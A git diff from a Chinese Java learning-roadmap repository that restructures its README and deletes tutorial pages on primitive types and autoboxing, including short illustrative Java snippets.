diff --git a/.gitignore b/.gitignore
index 4725d0c4..3587059e 100644
--- a/.gitignore
+++ b/.gitignore
@@ -12,6 +12,7 @@
.idea/**/common_info.xml
.idea/**
+
# Sensitive or high-churn files
.idea/**/dataSources/
.idea/**/dataSources.ids
@@ -56,3 +57,4 @@ fabric.properties
# Editor-based Rest Client
.idea/httpRequests
+.DS_Store
\ No newline at end of file
diff --git a/README.md b/README.md
index 2d29842b..acf8a187 100644
--- a/README.md
+++ b/README.md
@@ -1,993 +1,63 @@
-[](https://www.hollischuang.com)
-
## To Be Top Javaer - Java工程师成神之路
  
+
| 主要版本 | 更新时间 | 备注 |
| ---- | ---------- | -------------- |
-| v1.0 | 2015-08-01 | 首次发布 |
-| v1.1 | 2018-03-12 | 增加新技术知识、完善知识体系 |
+| v4.0 | 2022-05-20 | 知识体系完善,知识点补充|
+| v3.0 | 2020-03-31 | 知识体系完善,在v2.0的基础上,新增20%左右的知识点 调整部分知识的顺序及结构,方便阅读和理解 通过GitHub Page搭建,便于阅读|
| v2.0 | 2019-02-19 | 结构调整,更适合从入门到精通; 进一步完善知识体系; 新技术补充;|
+| v1.1 | 2018-03-12 | 增加新技术知识、完善知识体系 |
+| v1.0 | 2015-08-01 | 首次发布 |
-欢迎关注[Java之道]公众号,最新内容均会在该公众号中同步发出!
-
-
-
-[全套思维导图](/mind-map.md)
-
-## 一、基础篇
-
-### 面向对象
-
-#### 什么是面向对象
-
-[面向对象、面向过程](/basics/java-basic/object-oriented-vs-procedure-oriented.md)
-
-[面向对象的三大基本特征](/basics/java-basic/characteristics.md)和[五大基本原则](/basics/java-basic/principle.md)
-
-#### 平台无关性
-
-[Java如何实现的平台无关性的](/basics/java-basic/platform-independent.md)
-
-[JVM还支持哪些语言(Kotlin、Groovy、JRuby、Jython、Scala)](/basics/java-basic/jvm-language.md)
-
-#### 值传递
-
-[值传递、引用传递](/basics/java-basic/java-pass-by.md)
-
-[为什么说Java中只有值传递](/basics/java-basic/java-pass-by.md)
-
-#### 封装、继承、多态
-
-[什么是多态](/basics/java-basic/polymorphism.md)、[方法重写与重载](/basics/java-basic/overloading-vs-overriding.md)
-
-Java的继承与实现
-
-[Java的继承与组合](/basics/java-basic/inheritance-composition.md)
-
-[构造函数与默认构造函数](/basics/java-basic/constructor.md)
-
-[类变量、成员变量和局部变量](/basics/java-basic/variable.md)
-
-[成员变量和方法作用域](/basics/java-basic/scope.md)
-
-### Java基础知识
-
-#### 基本数据类型
-
-[7种基本数据类型:整型、浮点型、布尔型、字符型](/basics/java-basic/basic-data-types.md)
-
-[整型中byte、short、int、long的取值范围](/basics/java-basic/integer-scope.md)
-
-[什么是浮点型?](/basics/java-basic/float.md)
-
-[什么是单精度和双精度?](/basics/java-basic/single-double-float.md)
-
-[为什么不能用浮点型表示金额?](/basics/java-basic/float-amount.md)
-
-#### 自动拆装箱
-
-[什么是包装类型、什么是基本类型、什么是自动拆装箱](/basics/java-basic/boxing-unboxing.md)
-
-[Integer的缓存机制](/basics/java-basic/integer-cache.md)
-
-#### String
-
-[字符串的不可变性](/basics/java-basic/final-string.md)
-
-[JDK 6和JDK 7中substring的原理及区别](/basics/java-basic/substring.md)
-
-replaceFirst、replaceAll、replace区别、
-
-[String对“+”的重载](/basics/java-basic/string-append.md)
-
-[字符串拼接的几种方式和区别](/basics/java-basic/string-concat.md)
-
-[String.valueOf和Integer.toString的区别](/basics/java-basic/value-of-vs-to-string.md)
-
-[switch对String的支持](/basics/java-basic/switch-string.md)
-
-字符串池、常量池(运行时常量池、Class常量池)、intern
-
-#### 熟悉Java中各种关键字
-
-transient、instanceof、volatile、synchronized、final、static、const 原理及用法。
-
-#### 集合类
-
-常用集合类的使用
-
-[ArrayList和LinkedList和Vector的区别](/basics/java-basic/arraylist-vs-linkedlist-vs-vector.md)
-
-[SynchronizedList和Vector的区别](/basics/java-basic/synchronizedlist-vector.md)、
-
-[HashMap、HashTable、ConcurrentHashMap区别](/basics/java-basic/HashMap-HashTable-ConcurrentHashMap.md)
-
-[Set和List区别?](/basics/java-basic/set-vs-list.md)
-
-[Set如何保证元素不重复?](/basics/java-basic/set-repetition.md)
-
-[Java 8中stream相关用法](/basics/java-basic/stream.md)、
-
-apache集合处理工具类的使用、
-
-不同版本的JDK中HashMap的实现的区别以及原因
-
-[Collection和Collections区别](/basics/java-basic/Collection-vs-Collections.md)
-
-[Arrays.asList获得的List使用时需要注意什么](/basics/java-basic/Arrays-asList.md)
-
-[Enumeration和Iterator区别](/basics/java-basic/Enumeration-vs-Iterator.md)
-
-[fail-fast 和 fail-safe](/basics/java-basic/fail-fast-vs-fail-safe.md)
-
-[CopyOnWriteArrayList](/basics/java-basic/CopyOnWriteArrayList.md)
-
-[ConcurrentSkipListMap](/basics/java-basic/ConcurrentSkipListMap.md)
-
-#### 枚举
-
-[枚举的用法](/basics/java-basic/enum-usage.md)
-
-[枚举的实现](/basics/java-basic/enum-impl.md)
-
-[枚举与单例](/basics/java-basic/enum-singleton.md)、Enum类
-
-[Java枚举如何比较](/basics/java-basic/enum-compare.md)
-
-[switch对枚举的支持](/basics/java-basic/enum-switch.md)
-
-[枚举的序列化如何实现](/basics/java-basic/enum-serializable.md)
-
-[枚举的线程安全性问题](/basics/java-basic/enum-thread-safe.md)
-
-#### IO
-
-[字符流、字节流](/basics/java-basic/byte-stream-vs-character-stream.md)、[输入流、输出流](/basics/java-basic/input-stream-vs-output-stream.md)
-
-[同步、异步](/basics/java-basic/synchronized-vs-asynchronization.md)、[阻塞、非阻塞](/basics/java-basic/block-vs-non-blocking.md)、[Linux 5种IO模型](/basics/java-basic/linux-io.md)
-
-[BIO、NIO和AIO的区别、三种IO的用法与原理](/basics/java-basic/bio-vs-nio-vs-aio.md)、netty
-
-#### Java反射与javassist
-
-[反射](/basics/java-basic/reflection.md)与工厂模式、 [反射有什么作用](/basics/java-basic/usage-of-reflection.md)
-
-[Class类](/basics/java-basic/Class.md)
-
-`java.lang.reflect.*`
-
-#### 动态代理
-
-[静态代理](/basics/java-basic/static-proxy.md)、[动态代理](/basics/java-basic/dynamic-proxy.md)
-
-[动态代理和反射的关系](/basics/java-basic/dynamic-proxy-vs-reflection.md)
-
-[动态代理的几种实现方式](/basics/java-basic/dynamic-proxy-implementation.md)
-
-[AOP](/basics/java-basic/aop-vs-proxy.md)
-
-#### 序列化
-
-什么是序列化与反序列化、为什么序列化、序列化底层原理、序列化与单例模式、protobuf、为什么说序列化并不安全
-
-#### 注解
-
-元注解、自定义注解、Java中常用注解使用、注解与反射的结合
-
-Spring常用注解
-
-#### JMS
-
-什么是Java消息服务、JMS消息传送模型
-
-#### JMX
-
-`java.lang.management.*`、 `javax.management.*`
-
-#### 泛型
-
-泛型与继承、类型擦除、泛型中K T V E ? [object等的含义](/basics/java-basic/k-t-v-e.md)、泛型各种用法
-
-限定通配符和非限定通配符、上下界限定符extends 和 super
-
-List和原始类型List之间的区别?
-
-List>和List之间的区别是什么?
-
-#### 单元测试
-
-junit、mock、mockito、内存数据库(h2)
-
-#### 正则表达式
-
-`java.lang.util.regex.*`
-
-#### 常用的Java工具库
-
-`commons.lang`, `commons.*...` `guava-libraries` `netty`
-
-#### API&SPI
-
-API、API和SPI的关系和区别
-
-如何定义SPI、SPI的实现原理
-
-#### 异常
-
-异常类型、正确处理异常、自定义异常
-
-Error和Exception
-
-异常链、try-with-resources
-
-finally和return的执行顺序
-
-#### 时间处理
-
-时区、冬令时和夏令时、时间戳、Java中时间API
-
-格林威治时间、CET,UTC,GMT,CST几种常见时间的含义和关系
-
-SimpleDateFormat的线程安全性问题
-
-Java 8中的时间处理
-
-如何在东八区的计算机上获取美国时间
-
-#### 编码方式
-
-Unicode、有了Unicode为啥还需要UTF-8
-
-GBK、GB2312、GB18030之间的区别
-
-UTF8、UTF16、UTF32区别
-
-URL编解码、Big Endian和Little Endian
-
-如何解决乱码问题
-
-#### 语法糖
-
-Java中语法糖原理、解语法糖
-
-语法糖:switch 支持 String 与枚举、泛型、自动装箱与拆箱、方法变长参数、枚举、内部类、条件编译、 断言、数值字面量、for-each、try-with-resource、Lambda表达式、
-
-### 阅读源代码
-
-String、Integer、Long、Enum、BigDecimal、ThreadLocal、ClassLoader & URLClassLoader、ArrayList & LinkedList、 HashMap & LinkedHashMap & TreeMap & CouncurrentHashMap、HashSet & LinkedHashSet & TreeSet
-
-### Java并发编程
-
-#### 并发与并行
-
-什么是并发
-
-什么是并行
-
-并发与并行的区别
-
-#### 线程
-
-线程的实现、线程的状态、优先级、线程调度、创建线程的多种方式、守护线程
-
-线程与进程的区别
-
-#### 线程池
-
-自己设计线程池、submit() 和 execute()、线程池原理
-
-为什么不允许使用Executors创建线程池
-
-#### 线程安全
-
-[死锁?](/basics/java-basic/deadlock-java-level.md)、死锁如何排查、线程安全和内存模型的关系
-
-#### 锁
-
-CAS、乐观锁与悲观锁、数据库相关锁机制、分布式锁、偏向锁、轻量级锁、重量级锁、monitor、
-
-锁优化、锁消除、锁粗化、自旋锁、可重入锁、阻塞锁、死锁
-
-#### 死锁
-
-死锁的原因
-
-死锁的解决办法
-
-#### synchronized
-
-[synchronized是如何实现的?](/basics/java-basic/synchronized.md)
-
-synchronized和lock之间关系、不使用synchronized如何实现一个线程安全的单例
-
-synchronized和原子性、可见性和有序性之间的关系
-
-#### volatile
-
-happens-before、内存屏障、编译器指令重排和CPU指令重
-
-volatile的实现原理
-
-volatile和原子性、可见性和有序性之间的关系
-
-有了symchronized为什么还需要volatile
-
-#### sleep 和 wait
-
-#### wait 和 notify
-
-#### notify 和 notifyAll
-
-#### ThreadLocal
-
-#### 写一个死锁的程序
-
-#### 写代码来解决生产者消费者问题
-
-### 并发包
-
-#### 阅读源代码,并学会使用
-
-Thread、Runnable、Callable、ReentrantLock、ReentrantReadWriteLock、Atomic*、Semaphore、CountDownLatch、、ConcurrentHashMap、Executors
-
-## 二、底层篇
-
-### JVM
-
-#### JVM内存结构
-
-class文件格式、运行时数据区:堆、栈、方法区、直接内存、运行时常量池、
-
-堆和栈区别
-
-Java中的对象一定在堆上分配吗?
-
-#### Java内存模型
-
-计算机内存模型、缓存一致性、MESI协议
-
-可见性、原子性、顺序性、happens-before、
-
-内存屏障、synchronized、volatile、final、锁
-
-#### 垃圾回收
-
-GC算法:标记清除、引用计数、复制、标记压缩、分代回收、增量式回收
-
-GC参数、对象存活的判定、垃圾收集器(CMS、G1、ZGC、Epsilon)
-
-#### JVM参数及调优
-
--Xmx、-Xmn、-Xms、Xss、-XX:SurvivorRatio、
-
--XX:PermSize、-XX:MaxPermSize、-XX:MaxTenuringThreshold
-
-#### Java对象模型
-
-oop-klass、对象头
-
-#### HotSpot
-
-即时编译器、编译优化
-
-#### 虚拟机性能监控与故障处理工具
-
-jps, jstack, jmap、jstat, jconsole, jinfo, jhat, javap, btrace、TProfiler
-
-Arthas
-
-### 类加载机制
-
-classLoader、类加载过程、双亲委派(破坏双亲委派)、模块化(jboss modules、osgi、jigsaw)
-
-### 编译与反编译
-
-什么是编译(前端编译、后端编译)、什么是反编译
-
-JIT、JIT优化(逃逸分析、栈上分配、标量替换、锁优化)
-
-编译工具:javac
-
-反编译工具:javap 、jad 、CRF
-
-## 三、 进阶篇
-
-### Java底层知识
-
-#### 字节码、class文件格式
-
-#### CPU缓存,L1,L2,L3和伪共享
-
-#### 尾递归
-
-#### 位运算
-
-用位运算实现加、减、乘、除、取余
-
-### 设计模式
-
-设计模式的六大原则:
-
-开闭原则(Open Close Principle)、里氏代换原则(Liskov Substitution Principle)、依赖倒转原则(Dependence Inversion Principle)
-
-接口隔离原则(Interface Segregation Principle)、迪米特法则(最少知道原则)(Demeter Principle)、合成复用原则(Composite Reuse Principle)
-
-#### 了解23种设计模式
-
-创建型模式:单例模式、抽象工厂模式、建造者模式、工厂模式、原型模式。
-
-结构型模式:适配器模式、桥接模式、装饰模式、组合模式、外观模式、享元模式、代理模式。
-
-行为型模式:模版方法模式、命令模式、迭代器模式、观察者模式、中介者模式、备忘录模式、解释器模式(Interpreter模式)、状态模式、策略模式、职责链模式(责任链模式)、访问者模式。
-
-#### 会使用常用设计模式
-
-单例的七种写法:懒汉——线程不安全、懒汉——线程安全、饿汉、饿汉——变种、静态内部类、枚举、双重校验锁
-
-工厂模式、适配器模式、策略模式、模板方法模式、观察者模式、外观模式、代理模式等必会
-
-#### 不用synchronized和lock,实现线程安全的单例模式
-
-#### 实现AOP
-
-#### 实现IOC
-
-#### nio和reactor设计模式
-
-### 网络编程知识
-
-#### tcp、udp、http、https等常用协议
-
-三次握手与四次关闭、流量控制和拥塞控制、OSI七层模型、tcp粘包与拆包
-
-#### http/1.0 http/1.1 http/2之间的区别
-
-http中 get和post区别
-
-常见的web请求返回的状态码
-
-404、302、301、500分别代表什么
-
-#### http/3
-
-#### Java RMI,Socket,HttpClient
-
-#### cookie 与 session
-
-cookie被禁用,如何实现session
-
-#### 用Java写一个简单的静态文件的HTTP服务器
-
-#### 了解nginx和apache服务器的特性并搭建一个对应的服务器
-
-#### 用Java实现FTP、SMTP协议
-
-#### 进程间通讯的方式
-
-#### 什么是CDN?如果实现?
-
-#### DNS?
-
-什么是DNS 、记录类型:A记录、CNAME记录、AAAA记录等
-
-域名解析、根域名服务器
-
-DNS污染、DNS劫持、公共DNS:114 DNS、Google DNS、OpenDNS
-
-#### 反向代理
-
-正向代理、反向代理
-
-反向代理服务器
-
-### 框架知识
-
-#### Servlet
-
-生命周期
-
-线程安全问题
-
-filter和listener
-
-web.xml中常用配置及作用
-
-#### Hibernate
-
-什么是OR Mapping
-
-Hibernate的缓存机制
-
-Hibernate的懒加载
-
-Hibernate/Ibatis/MyBatis之间的区别
-
-#### Spring
-
-Bean的初始化
-
-AOP原理
-
-实现Spring的IOC
-
-spring四种依赖注入方式
-
-#### Spring MVC
-
-什么是MVC
-
-Spring mvc与Struts mvc的区别
-
-#### Spring Boot
-
-Spring Boot 2.0、起步依赖、自动配置、
-
-Spring Boot的starter原理,自己实现一个starter
-
-#### Spring Security
-
-### Spring Cloud
-
-服务发现与注册:Eureka、Zookeeper、Consul
-
-负载均衡:Feign、Spring Cloud Loadbalance
-
-服务配置:Spring Cloud Config
-
-服务限流与熔断:Hystrix
-
-服务链路追踪:Dapper
-
-服务网关、安全、消息
-
-### 应用服务器知识
-
-#### JBoss
-
-#### tomcat
-
-#### jetty
-
-#### Weblogic
-
-### 工具
-
-#### git & svn
-
-#### maven & gradle
-
-#### Intellij IDEA
-
-常用插件:Maven Helper 、FindBugs-IDEA、阿里巴巴代码规约检测、GsonFormat
-
-Lombok plugin、.ignore、Mybatis plugin
-
-## 四、 高级篇
-
-### 新技术
-
-#### Java 8
-
-lambda表达式、Stream API、时间API
-
-#### Java 9
-
-Jigsaw、Jshell、Reactive Streams
-
-#### Java 10
-
-局部变量类型推断、G1的并行Full GC、ThreadLocal握手机制
-
-#### Java 11
-
-ZGC、Epsilon、增强var、
-
-#### Spring 5
-
-响应式编程
-
-#### Spring Boot 2.0
-
-### http/2
-
-### http/3
-
-### 性能优化
-
-使用单例、使用Future模式、使用线程池、选择就绪、减少上下文切换、减少锁粒度、数据压缩、结果缓存
-
-### 线上问题分析
-
-#### dump获取
-
-线程Dump、内存Dump、gc情况
-
-#### dump分析
-
-分析死锁、分析内存泄露
-
-#### dump分析及获取工具
-
-jstack、jstat、jmap、jhat、Arthas
-
-#### 自己编写各种outofmemory,stackoverflow程序
-
-HeapOutOfMemory、 Young OutOfMemory、MethodArea OutOfMemory、ConstantPool OutOfMemory、DirectMemory OutOfMemory、Stack OutOfMemory Stack OverFlow
-
-#### Arthas
-
-jvm相关、class/classloader相关、monitor/watch/trace相关、
-
-options、管道、后台异步任务
-
-文档:https://alibaba.github.io/arthas/advanced-use.html
-
-#### 常见问题解决思路
-
-内存溢出、线程死锁、类加载冲突
-
-#### 使用工具尝试解决以下问题,并写下总结
-
-当一个Java程序响应很慢时如何查找问题、
-
-当一个Java程序频繁FullGC时如何解决问题、
-
-如何查看垃圾回收日志、
-
-当一个Java应用发生OutOfMemory时该如何解决、
-
-如何判断是否出现死锁、
-
-如何判断是否存在内存泄露
-
-使用Arthas快速排查Spring Boot应用404/401问题
-
-使用Arthas排查线上应用日志打满问题
-
-利用Arthas排查Spring Boot应用NoSuchMethodError
-
-### 编译原理知识
-
-#### 编译与反编译
-
-#### Java代码的编译与反编译
-
-#### Java的反编译工具
-
-javap 、jad 、CRF
-
-#### 即时编译器
-
-#### 词法分析,语法分析(LL算法,递归下降算法,LR算法),语义分析,运行时环境,中间代码,代码生成,代码优化
-
-### 操作系统知识
-
-#### Linux的常用命令
-
-#### 进程间通信
-
-#### 进程同步
-
-生产者消费者问题、哲学家就餐问题、读者写者问题
-
-#### 缓冲区溢出
-
-#### 分段和分页
-
-#### 虚拟内存与主存
-
-#### 虚拟内存管理
-
-#### 换页算法
-
-### 数据库知识
-
-#### MySql 执行引擎
-
-#### MySQL 执行计划
-
-如何查看执行计划,如何根据执行计划进行SQL优化
-
-#### 索引
-
-Hash索引、B树索引(B+树、和B树、R树)
-
-普通索引、唯一索引
-
-覆盖索引、最左前缀原则、索引下推
-
-#### SQL优化
-
-#### 数据库事务和隔离级别
-
-事务的隔离级别、事务能不能实现锁的功能
-
-#### 数据库锁
-
-行锁、表锁、使用数据库锁实现乐观锁、
-
-#### 连接
-
-内连接,左连接,右连接
-
-#### 数据库主备搭建
-
-#### binlog
-
-#### redolog
-
-#### 内存数据库
-
-h2
-
-#### 分库分表
-
-#### 读写分离
-
-#### 常用的nosql数据库
-
-redis、memcached
-
-#### 分别使用数据库锁、NoSql实现分布式锁
-
-#### 性能调优
-
-#### 数据库连接池
-
-### 数据结构与算法知识
-
-#### 简单的数据结构
-
-栈、队列、链表、数组、哈希表、
-
-栈和队列的相同和不同之处
-
-栈通常采用的两种存储结构
-
-#### 树
-
-二叉树、字典树、平衡树、排序树、B树、B+树、R树、多路树、红黑树
-
-#### 堆
-
-大根堆、小根堆
-
-#### 图
-
-有向图、无向图、拓扑
-
-#### 排序算法
-
-稳定的排序:冒泡排序、插入排序、鸡尾酒排序、桶排序、计数排序、归并排序、原地归并排序、二叉排序树排序、鸽巢排序、基数排序、侏儒排序、图书馆排序、块排序
-
-不稳定的排序:选择排序、希尔排序、Clover排序算法、梳排序、堆排序、平滑排序、快速排序、内省排序、耐心排序
-
-各种排序算法和时间复杂度
-
-#### 深度优先和广度优先搜索
-
-#### 全排列、贪心算法、KMP算法、hash算法
-
-#### 海量数据处理
-
-分治,hash映射,堆排序,双层桶划分,Bloom Filter,bitmap,数据库索引,mapreduce等。
-
-#### 两个栈实现队列,和两个队列实现栈
-
-### 大数据知识
-
-#### Zookeeper
-
-基本概念、常见用法
-
-#### Solr,Lucene,ElasticSearch
-
-在linux上部署solr,solrcloud,,新增、删除、查询索引
-
-#### Storm,流式计算,了解Spark,S4
-
-在linux上部署storm,用zookeeper做协调,运行storm hello world,local和remote模式运行调试storm topology。
-
-#### Hadoop,离线计算
-
-HDFS、MapReduce
-
-#### 分布式日志收集flume,kafka,logstash
-
-#### 数据挖掘,mahout
-
-### 网络安全知识
-
-#### XSS
-
-XSS的防御
-
-#### CSRF
-
-#### 注入攻击
-
-SQL注入、XML注入、CRLF注入
-
-#### 文件上传漏洞
-
-#### 加密与解密
-
-对称加密、非对称加密、哈希算法、加盐哈希算法
-
-MD5,SHA1、DES、AES、RSA、DSA
-
-彩虹表
-
-#### DDOS攻击
-
-DOS攻击、DDOS攻击
-
-memcached为什么可以导致DDos攻击、什么是反射型DDoS
-
-如何通过Hash碰撞进行DOS攻击
-
-#### SSL、TLS,HTTPS
-
-#### 用openssl签一个证书部署到apache或nginx
-
-## 五、架构篇
-
-### 分布式
-
-数据一致性、服务治理、服务降级
-
-#### 分布式事务
-
-2PC、3PC、CAP、BASE、 可靠消息最终一致性、最大努力通知、TCC
-
-#### Dubbo
-
-服务注册、服务发现,服务治理
-
-http://dubbo.apache.org/zh-cn/
-
-#### 分布式数据库
-
-怎样打造一个分布式数据库、什么时候需要分布式数据库、mycat、otter、HBase
-
-#### 分布式文件系统
-
-mfs、fastdfs
-
-#### 分布式缓存
-
-缓存一致性、缓存命中率、缓存冗余
-
-#### 限流降级
-
-Hystrix、Sentinal
-
-#### 算法
-
-共识算法、Raft协议、Paxos 算法与 Raft 算法、拜占庭问题与算法
-
-2PC、3PC
-
-### 微服务
-
-SOA、康威定律
-
-#### ServiceMesh
-
-sidecar
-
-#### Docker & Kubernets
-
-#### Spring Boot
-
-#### Spring Cloud
-
-### 高并发
-
-#### 分库分表
-
-#### CDN技术
-
-#### 消息队列
-
-ActiveMQ
-
-### 监控
-
-#### 监控什么
-
-CPU、内存、磁盘I/O、网络I/O等
-
-#### 监控手段
-
-进程监控、语义监控、机器资源监控、数据波动
-
-#### 监控数据采集
-
-日志、埋点
-
-#### Dapper
-
-### 负载均衡
-
-tomcat负载均衡、Nginx负载均衡
-
-四层负载均衡、七层负载均衡
-
-### DNS
-
-DNS原理、DNS的设计
-
-### CDN
-
-数据一致性
-
-## 六、 扩展篇
-### 云计算
+Java成神之路全套面试题——围绕成神之路,500多道题,60多万字>>>
-IaaS、SaaS、PaaS、虚拟化技术、openstack、Serverlsess
+
-### 搜索引擎
-Solr、Lucene、Nutch、Elasticsearch
+扫码下单后,按照短信提示操作即可。
-### 权限管理
+目前正在更新中...
-Shiro
+欢迎大家参与共建~
-### 区块链
+### 联系我们
-哈希算法、Merkle树、公钥密码算法、共识算法、Raft协议、Paxos 算法与 Raft 算法、拜占庭问题与算法、消息认证码与数字签名
+欢迎关注作者的公众号,可以直接后台留言。
-#### 比特币
+
-挖矿、共识机制、闪电网络、侧链、热点问题、分叉
+*公众号后台回复:"成神导图",即可获取《Java工程师成神之路最新版思维导图》*
-#### 以太坊
-#### 超级账本
+### 在线阅读地址
-### 人工智能
+GitHub Pages 完整阅读:[进入](https://hollischuang.github.io/toBeTopJavaer/)
-数学基础、机器学习、人工神经网络、深度学习、应用场景。
+Gitee Pages 完整阅读:[进入](http://hollischuang.gitee.io/tobetopjavaer) (国内访问速度较快)
-#### 常用框架
-TensorFlow、DeepLearning4J
+### 关于作者
-### IoT
+Hollis,阿里巴巴技术专家,51CTO专栏作家,CSDN博客专家,掘金优秀作者,《深入理解Java核心技术》作者,《程序员的三门课》联合作者,《Java工程师成神之路》系列文章作者;热衷于分享计算机编程相关技术,博文全网阅读量上千万。
-### 量子计算
-### AR & VR
+### 开源协议
-### 其他语言
+本着互联网的开放精神,本项目采用开放的[GPL]协议进行许可。
-Groovy、Python、Go、NodeJs、Swift、Rust
-## 六、 推荐书籍
+### 参与共建
-《深入理解Java虚拟机》
-《Effective Java》
-《深入分析Java Web技术内幕》
-《大型网站技术架构》
-《代码整洁之道》
-《架构整洁之道》
-《Head First设计模式》
-《maven实战》
-《区块链原理、设计与应用》
-《Java并发编程实战》
-《鸟哥的Linux私房菜》
-《从Paxos到Zookeeper》
-《架构即未来》
+如果您对本项目中的内容有建议或者意见
--------------
+如果你对本项目中未完成的章节感兴趣
-扫描二维码,关注作者微信
+欢迎提出专业方面的修改建议及供稿,供稿只接受原创
-
+请直接在[GitHub](https://github.com/hollischuang/toBeTopJavaer)上以issue或者PR的形式提出
+如果本项目中的内容侵犯了您的任何权益,欢迎通过邮箱(hollischuang@gmail)与我联系
diff --git a/basics/java-basic/basic-data-types.md b/basics/java-basic/basic-data-types.md
deleted file mode 100644
index a4ea2d64..00000000
--- a/basics/java-basic/basic-data-types.md
+++ /dev/null
@@ -1,11 +0,0 @@
-Java中有8种基本数据类型
-分为三大类。
-
-字符型:char
-
-布尔型:boolean
-
-数值型:
-1.整型:byte、short、int、long 2.浮点型:float、double
-
-String不是基本数据类型,是引用类型。
\ No newline at end of file
diff --git a/basics/java-basic/boxing-unboxing.md b/basics/java-basic/boxing-unboxing.md
deleted file mode 100644
index 391de11d..00000000
--- a/basics/java-basic/boxing-unboxing.md
+++ /dev/null
@@ -1,323 +0,0 @@
-本文主要介绍Java中的自动拆箱与自动装箱的有关知识。
-
-## 基本数据类型
-
-基本类型,或者叫做内置类型,是Java中不同于类(Class)的特殊类型。它们是我们编程中使用最频繁的类型。
-
-Java是一种强类型语言,第一次申明变量必须说明数据类型,第一次变量赋值称为变量的初始化。
-
-Java基本类型共有八种,基本类型可以分为三类:
-
-> 字符类型`char`
->
-> 布尔类型`boolean`
->
-> 数值类型`byte`、`short`、`int`、`long`、`float`、`double`。
-
-数值类型又可以分为整数类型`byte`、`short`、`int`、`long`和浮点数类型`float`、`double`。
-
-Java中的数值类型不存在无符号的,它们的取值范围是固定的,不会随着机器硬件环境或者操作系统的改变而改变。
-
-实际上,Java中还存在另外一种基本类型`void`,它也有对应的包装类 `java.lang.Void`,不过我们无法直接对它们进行操作。
-
-### 基本数据类型有什么好处
-
-我们都知道在Java语言中,`new`一个对象是存储在堆里的,我们通过栈中的引用来使用这些对象;所以,对象本身来说是比较消耗资源的。
-
-对于经常用到的类型,如int等,如果我们每次使用这种变量的时候都需要new一个Java对象的话,就会比较笨重。所以,和C++一样,Java提供了基本数据类型,这种数据的变量不需要使用new创建,他们不会在堆上创建,而是直接在栈内存中存储,因此会更加高效。
-
-### 整型的取值范围
-
-Java中的整型主要包含`byte`、`short`、`int`和`long`这四种,表示的数字范围也是从小到大的,之所以表示范围不同主要和他们存储数据时所占的字节数有关。
-
-先来个简答的科普,1字节=8位(bit)。java中的整型属于有符号数。
-
-先来看计算中8bit可以表示的数字:
-
- 最小值:10000000 (-128)(-2^7)
- 最大值:01111111(127)(2^7-1)
-
-
-整型的这几个类型中,
-
-* byte:byte用1个字节来存储,范围为-128(-2^7)到127(2^7-1),在变量初始化的时候,byte类型的默认值为0。
-
-* short:short用2个字节存储,范围为-32,768 (-2^15)到32,767 (2^15-1),在变量初始化的时候,short类型的默认值为0,一般情况下,因为Java本身转型的原因,可以直接写为0。
-
-* int:int用4个字节存储,范围为-2,147,483,648 (-2^31)到2,147,483,647 (2^31-1),在变量初始化的时候,int类型的默认值为0。
-
-* long:long用8个字节存储,范围为-9,223,372,036,854,775,808 (-2^63)到9,223,372,036, 854,775,807 (2^63-1),在变量初始化的时候,long类型的默认值为0L或0l,也可直接写为0。
-
-### 超出范围怎么办
-
-上面说过了,整型中,每个类型都有一定的表示范围,但是,在程序中有些计算会导致超出表示范围,即溢出。如以下代码:
-```java
- int i = Integer.MAX_VALUE;
- int j = Integer.MAX_VALUE;
-
- int k = i + j;
- System.out.println("i (" + i + ") + j (" + j + ") = k (" + k + ")");
-```
-
-输出结果:i (2147483647) + j (2147483647) = k (-2)
-
-**这就是发生了溢出,溢出的时候并不会抛异常,也没有任何提示。**所以,在程序中,使用同类型的数据进行运算的时候,**一定要注意数据溢出的问题。**
-
-## 包装类型
-
-Java语言是一个面向对象的语言,但是Java中的基本数据类型却是不面向对象的,这在实际使用时存在很多的不便,为了解决这个不足,在设计类时为每个基本数据类型设计了一个对应的类进行代表,这样八个和基本数据类型对应的类统称为包装类(Wrapper Class)。
-
-包装类均位于java.lang包,包装类和基本数据类型的对应关系如下表所示
-
-| 基本数据类型 | 包装类 |
-| ------- | --------- |
-| byte | Byte |
-| boolean | Boolean |
-| short | Short |
-| char | Character |
-| int | Integer |
-| long | Long |
-| float | Float |
-| double | Double |
-
-在这八个类名中,除了Integer和Character类以后,其它六个类的类名和基本数据类型一致,只是类名的第一个字母大写即可。
-
-### 为什么需要包装类
-
-很多人会有疑问,既然Java中为了提高效率,提供了八种基本数据类型,为什么还要提供包装类呢?
-
-这个问题,其实前面已经有了答案,因为Java是一种面向对象语言,很多地方都需要使用对象而不是基本数据类型。比如,在集合类中,我们是无法将int 、double等类型放进去的。因为集合的容器要求元素是Object类型。
-
-为了让基本类型也具有对象的特征,就出现了包装类型,它相当于将基本类型“包装起来”,使得它具有了对象的性质,并且为其添加了属性和方法,丰富了基本类型的操作。
-
-## 拆箱与装箱
-
-那么,有了基本数据类型和包装类,肯定有些时候要在他们之间进行转换。比如把一个基本数据类型的int转换成一个包装类型的Integer对象。
-
-我们认为包装类是对基本类型的包装,所以,把基本数据类型转换成包装类的过程就是打包装,英文对应于boxing,中文翻译为装箱。
-
-反之,把包装类转换成基本数据类型的过程就是拆包装,英文对应于unboxing,中文翻译为拆箱。
-
-在Java SE5之前,要进行装箱,可以通过以下代码:
-```java
- Integer i = new Integer(10);
-```
-
-## 自动拆箱与自动装箱
-
-在Java SE5中,为了减少开发人员的工作,Java提供了自动拆箱与自动装箱功能。
-
-自动装箱: 就是将基本数据类型自动转换成对应的包装类。
-
-自动拆箱:就是将包装类自动转换成对应的基本数据类型。
-```java
- Integer i =10; //自动装箱
- int b= i; //自动拆箱
-```
-
-`Integer i=10` 可以替代 `Integer i = new Integer(10);`,这就是因为Java帮我们提供了自动装箱的功能,不需要开发者手动去new一个Integer对象。
-
-## 自动装箱与自动拆箱的实现原理
-
-既然Java提供了自动拆装箱的能力,那么,我们就来看一下,到底是什么原理,Java是如何实现的自动拆装箱功能。
-
-我们有以下自动拆装箱的代码:
-```java
- public static void main(String[]args){
- Integer integer=1; //装箱
- int i=integer; //拆箱
- }
-```
-
-对以上代码进行反编译后可以得到以下代码:
-```java
- public static void main(String[]args){
- Integer integer=Integer.valueOf(1);
- int i=integer.intValue();
- }
-```
-
-从上面反编译后的代码可以看出,int的自动装箱都是通过`Integer.valueOf()`方法来实现的,Integer的自动拆箱都是通过`integer.intValue`来实现的。如果读者感兴趣,可以试着将八种类型都反编译一遍 ,你会发现以下规律:
-
-> 自动装箱都是通过包装类的`valueOf()`方法来实现的.自动拆箱都是通过包装类对象的`xxxValue()`来实现的。
-
